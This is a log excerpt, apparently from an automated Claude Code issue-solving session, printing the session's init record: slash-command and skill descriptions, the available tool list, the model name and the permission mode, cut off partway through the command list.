{\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"init\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Initialize a new CLAUDE.md file with codebase documentation\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"mcp\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Manage MCP servers\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"[reconnect|enable|disable [|all]]\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"import\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Import config from another AI coding agent\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"model\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Set the AI model for Claude Code\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"__remote-workflow\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Run the workflow script delivered in this session environment (server-launched sessions only)\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"workflow-launch-exec\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Execute a server-launched workflow handoff (workflow_launch event sessions only)\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"reload-plugins\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Activate pending plugin changes in the current session\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"[--force]\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"reload-skills\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Pick up skills added or changed on disk during this session\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"rename\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Rename the current conversation\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"[name]\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"aliases\": [\n[2026-09-29T07:43:31.321Z] [INFO]         \"name\"\n[2026-09-29T07:43:31.321Z] [INFO]       ],\n[2026-09-29T07:43:31.321Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"ultrareview\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Start a cloud agent that finds and verifies bugs in your branch (~15-25 min, $5-$25 USD) \u00b7 Runs in a cloud session. See https://code.claude.com/docs/en/claude-code-on-the-web\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"security-review\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Complete a security review of the pending changes on the current branch\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"usage-credits\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Configure usage credits or request them from your admin when you hit a limit\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"extra-usage\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Renamed to /usage-credits\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"usage\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Show session cost, plan usage, and what's contributing to your limits\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"aliases\": [\n[2026-09-29T07:43:31.321Z] [INFO]         \"cost\",\n[2026-09-29T07:43:31.321Z] [INFO]         \"stats\"\n[2026-09-29T07:43:31.321Z] [INFO]       ],\n[2026-09-29T07:43:31.321Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"insights\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Generate a report analyzing your Claude Code sessions\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"recap\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Generate a one-line session recap now\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"skill-doctor\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Show which loaded skills are unused and costing context\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"goal\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Set a goal \u2014 keep working until the condition is met\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"design-consent\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Grant Claude agent access to your Design projects\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"design-revoke\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Revoke Claude agent access to your Design projects\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"list-agents\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"List subagents, teammates, and other Claude sessions you can message\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"aliases\": [\n[2026-09-29T07:43:31.321Z] [INFO]         \"peers\"\n[2026-09-29T07:43:31.321Z] [INFO]       ],\n[2026-09-29T07:43:31.321Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"team-onboarding\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Help teammates ramp on Claude Code with a guide from your usage\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"builtin\": true\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"built-in-browser\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Read this skill before the first step that uses the built-in browser, the browser pane inside the Claude desktop app (also called the in-app browser, the browser pane, Claude's browser, or \\\"your own browser\\\"), whose tools are named mcp__Claude_Browser__* when the session runs in the desktop app and mcp__remote-devices__Claude_Browser__* when a cloud session is linked to the person's computer; before those tools are turned on there may be a single enable__mcp__remote-devices__Claude_Browser tool instead. It covers the pane's persistent sign-ins, tabs and preview_start, reading pages as text, site approvals, what the pane cannot open, and what to do when it cannot be reached. It is not for Claude in Chrome (mcp__claude-in-chrome__* tools), which has its own skill, and it does not decide which browser to use. (claude.ai sync)\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"aliases\": [\n[2026-09-29T07:43:31.321Z] [INFO]         \"anthropic-skills:built-in-browser\"\n[2026-09-29T07:43:31.321Z] [INFO]       ]\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"chrome-browser\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Read this skill before the first step that uses Claude in Chrome, the browser extension whose tools are named mcp__claude-in-chrome__* (also called Chrome, the browser extension, or the external browser) and which acts in the person's real Chrome with their own sign-ins; before those tools are turned on there may be a single enable__mcp__claude-in-chrome tool instead. It covers loading the tools in one ToolSearch call, checking the person's open tabs and working in a new tab, site permissions, GIF recordings, console logs, dialogs to avoid, and when to stop and ask. It is not for the built-in browser (mcp__Claude_Browser__* or mcp__remote-devices__Claude_Browser__* tools), which has its own skill, and it does not decide which browser to use. (claude.ai sync)\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"aliases\": [\n[2026-09-29T07:43:31.321Z] [INFO]         \"anthropic-skills:chrome-browser\"\n[2026-09-29T07:43:31.321Z] [INFO]       ]\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"computer-use\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Read this skill before the first step of any request to do something in an app on the person's own computer (Notes, Finder, System Settings, any desktop app), to look at their screen, or for \\\"computer use\\\". Computer use (desktop control) lets Claude take screenshots of the person's desktop and control it with clicks, typing and scrolling through the Claude desktop app; its tools are named mcp__computer-use__* when the session runs in the desktop app and mcp__remote-devices__computer_* when a cloud session is linked to the person's computer; before computer use is turned on for a conversation there may be no such tools, only an enable__mcp__remote-devices__computer tool, which turns it on. It covers turning it on, picking the right tool, the access flow, and the safety rules for tiered apps, links and financial actions. It is not for websites, which go through Claude in Chrome or the built-in browser and their own skills. (claude.ai sync)\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"aliases\": [\n[2026-09-29T07:43:31.321Z] [INFO]         \"anthropic-skills:computer-use\"\n[2026-09-29T07:43:31.321Z] [INFO]       ]\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"anthropic-skills:deep-research\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Use this skill when the user's prompt requires (1) researching a topic across multiple sources, comparing options or alternatives, analyzing trends or history, understanding markets or industries, or reviewing literature or studies and (2) synthesizing that research into a comprehensive, narrative report. If you're planning to search the web or internal knowledge bases, consider using this skill. This skill coordinates research subagents, so use it only when you have a tool for spawning subagents (the Agent or Task tool); otherwise, research the question directly. (claude.ai sync)\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"\"\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"docs\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"docs (living docs people share, comment on and edit; use only when the user asks for one: names a doc, document, page, memo, spec, PRD, runbook or write-up, asks for somewhere to share or keep editing something, or says yes to your doc offer; a plan, comparison, summary or notes asked in chat stays in chat (at most a one-line doc offer); a report, status update, recap or \\\"something I can send them\\\" with no form named \u2192 ask first: reply, doc or file?; tabs hold tables and live charts too; a pasted claude.ai/code/artifact/\u2026 link may be a doc: check with docs tools first; not HTML pages, apps or plain chat answers; a .docx/.pptx/.xlsx/PDF asked for by name \u2192 that format's skill): asked for one \u2192 no docs-connector instructions in context? call the docs connector's `guide` with topic.instructions first, then create the doc (headings only, no body) before any search, file read or plan, even with files attached. Documenting code means docstrings or repo docs, not a doc. (claude.ai sync)\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"aliases\": [\n[2026-09-29T07:43:31.321Z] [INFO]         \"anthropic-skills:docs\"\n[2026-09-29T07:43:31.321Z] [INFO]       ]\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"docx\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Use this skill whenever the user wants to create, read, edit, or manipulate Word documents (.docx) or Word templates (.dotx). Triggers include: any mention of Microsoft Word Documents, such as 'Word doc', 'word document', '.docx', '.dotx', 'microsoft doc'. Also use when extracting or reorganizing content from .docx or .dotx files, inserting or replacing images in documents, find-and-replace in Word files, working with tracked changes or comments, or converting content into a polished Word document. If the user asks for a deliverable as a Word or .docx file (to download, email or print), use this skill. However, if they ask for a document, page, report, memo, or notes WITHOUT naming a file format and the session offers Claude's own dedicated document or page skill or connector, use that instead, even if they will email or print it. Do NOT use for PDFs, spreadsheets, Google Docs, or coding unrelated to document generation. (claude.ai sync)\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"aliases\": [\n[2026-09-29T07:43:31.321Z] [INFO]         \"anthropic-skills:docx\"\n[2026-09-29T07:43:31.321Z] [INFO]       ]\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"google-workspace\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Read this before the first Google Drive, Docs, Sheets or Slides connector call whenever the task creates or changes a Google file. Use this skill whenever the user wants to create or change a Google Doc, Sheet or Slides file in their Google Drive. Triggers include: a request that names Google Docs, Sheets, Slides or Drive and asks to make, edit, format, copy or rename a file; a docs.google.com link with a request to change that file, even a one-line fix or suggested edits; and any follow-up change to a Google file from earlier in the chat, even \\\"change it\\\" or \\\"add a tab\\\". Includes helper scripts for document positions, cell ranges and slide layout. However, if the user asks for a doc, deck or spreadsheet without naming Google, or gives a Google file only as source material for something new, use Claude's own output type instead. Do NOT use for read-only questions about a Google file, or for Word, Excel, PowerPoint or PDF files. (claude.ai sync)\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"aliases\": [\n[2026-09-29T07:43:31.321Z] [INFO]         \"anthropic-skills:google-workspace\"\n[2026-09-29T07:43:31.321Z] [INFO]       ]\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"import-memory\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Import a memory export from another AI assistant into Claude's memory \u2014 conversationally, additively, and with the content treated as data. (claude.ai sync)\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"aliases\": [\n[2026-09-29T07:43:31.321Z] [INFO]         \"anthropic-skills:import-memory\"\n[2026-09-29T07:43:31.321Z] [INFO]       ]\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"morning\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Render the user's morning brief as a styled HTML artifact, or set it up as a recurring weekday task. Use only when the user explicitly asks to run, see, or set up their morning brief, or if they invoke /morning by name. A question about their day, schedule, or calendar is not by itself a request for the brief; answer it directly instead. (claude.ai sync)\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"aliases\": [\n[2026-09-29T07:43:31.321Z] [INFO]         \"anthropic-skills:morning\"\n[2026-09-29T07:43:31.321Z] [INFO]       ]\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"pdf\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Use this skill whenever the user wants to do anything with PDF files. This includes reading or extracting text/tables from PDFs, combining or merging multiple PDFs into one, splitting PDFs apart, rotating pages, adding watermarks, creating new PDFs, filling PDF forms, encrypting/decrypting PDFs, extracting images, and OCR on scanned PDFs to make them searchable. If the user mentions a .pdf file or asks to produce one, use this skill. (claude.ai sync)\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"aliases\": [\n[2026-09-29T07:43:31.321Z] [INFO]         \"anthropic-skills:pdf\"\n[2026-09-29T07:43:31.321Z] [INFO]       ]\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"pptx\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Use this skill any time a .pptx or .potx file is involved in any way \u2014 as input, output, or both. This includes: creating slide decks, pitch decks, or presentations as PowerPoint (.pptx) files; reading, parsing, or extracting text from any .pptx or .potx file (even if the extracted content will be used elsewhere, like in an email, summary, or creating a different type of slide deck); editing, modifying, or updating existing presentations; combining or splitting slide files; working with templates (.potx), layouts, speaker notes, or comments. Trigger whenever the user asks for a PowerPoint or .pptx file, or references a .pptx or .potx filename, regardless of what they plan to do with the content afterward. However, when the user asks for a deck, slides, a slide deck, or a presentation without naming a file format, default to using a dedicated slide-deck artifact type or a separate slides skill if this session offers one; otherwise, use this skill. (claude.ai sync)\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"aliases\": [\n[2026-09-29T07:43:31.321Z] [INFO]         \"anthropic-skills:pptx\"\n[2026-09-29T07:43:31.321Z] [INFO]       ]\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"skill-creator\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Create new skills, modify and improve existing skills, and measure skill performance. Use when users want to create a skill from scratch, edit, or optimize an existing skill, run evals to test a skill, benchmark skill performance with variance analysis, or optimize a skill's description for better triggering accuracy. (claude.ai sync)\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"aliases\": [\n[2026-09-29T07:43:31.321Z] [INFO]         \"anthropic-skills:skill-creator\"\n[2026-09-29T07:43:31.321Z] [INFO]       ]\n[2026-09-29T07:43:31.321Z] [INFO]     },\n[2026-09-29T07:43:31.321Z] [INFO]     {\n[2026-09-29T07:43:31.321Z] [INFO]       \"name\": \"xlsx\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"description\": \"Use this skill any time a spreadsheet file is the primary input or output. This means any task where the user wants to: open, read, edit, or fix an existing .xlsx, .xlsm, .xltx, .csv, or .tsv file (e.g., adding columns, computing formulas, formatting, charting, cleaning messy data); create a new spreadsheet from scratch or from other data sources; or convert between tabular file formats. Trigger especially when the user references a spreadsheet file by name or path \u2014 even casually (like \\\"the xlsx in my downloads\\\") \u2014 and wants something done to it or produced from it. Also trigger for cleaning or restructuring messy tabular data files (malformed rows, misplaced headers, junk data) into proper spreadsheets. The deliverable must be a spreadsheet file. Do NOT trigger when the primary deliverable is a Word document, HTML report, standalone Python script, database pipeline, or Google Sheets API integration, even if tabular data is involved. (claude.ai sync)\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"argumentHint\": \"\",\n[2026-09-29T07:43:31.321Z] [INFO]       \"aliases\": [\n[2026-09-29T07:43:31.321Z] [INFO]         \"anthropic-skills:xlsx\"\n[2026-09-29T07:43:31.321Z] [INFO]       ]\n[2026-09-29T07:43:31.321Z] [INFO]     }\n[2026-09-29T07:43:31.321Z] [INFO]   ],\n[2026-09-29T07:43:31.321Z] [INFO]   \"uuid\": \"a21580b3-45ff-4ee8-a897-bc95b14b4b4a\",\n[2026-09-29T07:43:31.321Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T07:43:31.321Z] [INFO] }\n[2026-09-29T07:43:31.830Z] [INFO] {\n[2026-09-29T07:43:31.830Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:43:31.830Z] [INFO]   \"subtype\": \"init\",\n[2026-09-29T07:43:31.830Z] [INFO]   \"cwd\": \"/tmp/gh-issue-solver-1790667776920\",\n[2026-09-29T07:43:31.830Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:43:31.830Z] [INFO]   \"tools\": [\n[2026-09-29T07:43:31.830Z] [INFO]     \"Task\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"Bash\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"DesignSync\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"Edit\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"ListAgents\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"Read\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"ReportFindings\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"SendMessage\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"Skill\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"TaskStop\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"ToolSearch\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"WebFetch\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"WebSearch\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"Workflow\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"Write\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"mcp__playwright__browser_click\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"mcp__playwright__browser_close\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"mcp__playwright__browser_console_messages\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"mcp__playwright__browser_drag\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"mcp__playwright__browser_drop\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"mcp__playwright__browser_emulate_media\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"mcp__playwright__browser_evaluate\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"mcp__playwright__browser_file_upload\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"mcp__playwright__browser_fill_form\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"mcp__playwright__browser_find\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"mcp__playwright__browser_handle_dialog\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"mcp__playwright__browser_hover\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"mcp__playwright__browser_navigate\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"mcp__playwright__browser_navigate_back\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"mcp__playwright__browser_network_request\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"mcp__playwright__browser_network_requests\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"mcp__playwright__browser_press_key\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"mcp__playwright__browser_resize\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"mcp__playwright__browser_run_code_unsafe\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"mcp__playwright__browser_select_option\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"mcp__playwright__browser_snapshot\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"mcp__playwright__browser_tabs\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"mcp__playwright__browser_take_screenshot\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"mcp__playwright__browser_type\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"mcp__playwright__browser_wait_for\"\n[2026-09-29T07:43:31.830Z] [INFO]   ],\n[2026-09-29T07:43:31.830Z] [INFO]   \"mcp_servers\": [\n[2026-09-29T07:43:31.830Z] [INFO]     {\n[2026-09-29T07:43:31.830Z] [INFO]       \"name\": \"playwright\",\n[2026-09-29T07:43:31.830Z] [INFO]       \"status\": \"connected\",\n[2026-09-29T07:43:31.830Z] [INFO]       \"source\": \"dynamic\"\n[2026-09-29T07:43:31.830Z] [INFO]     }\n[2026-09-29T07:43:31.830Z] [INFO]   ],\n[2026-09-29T07:43:31.830Z] [INFO]   \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:43:31.830Z] [INFO]   \"permissionMode\": \"bypassPermissions\",\n[2026-09-29T07:43:31.830Z] [INFO]   \"slash_commands\": [\n[2026-09-29T07:43:31.830Z] [INFO]     \"deep-research\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"design\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"design-sync\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"dataviz\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"update-config\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"verify\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"debug\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"code-review\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"simplify\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"batch\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"fewer-permission-prompts\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"doctor\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"schedule\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"claude-api\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"workflow-authoring\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"run\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"run-skill-generator\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"advisor\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"agents\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"auto-mode-setup\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"autocompact\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"clear\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"color\",\n[2026-09-29T07:43:31.830Z] [INFO]     \"compact\",\n[2026-09-29T07:43:31.830Z] [INFO]     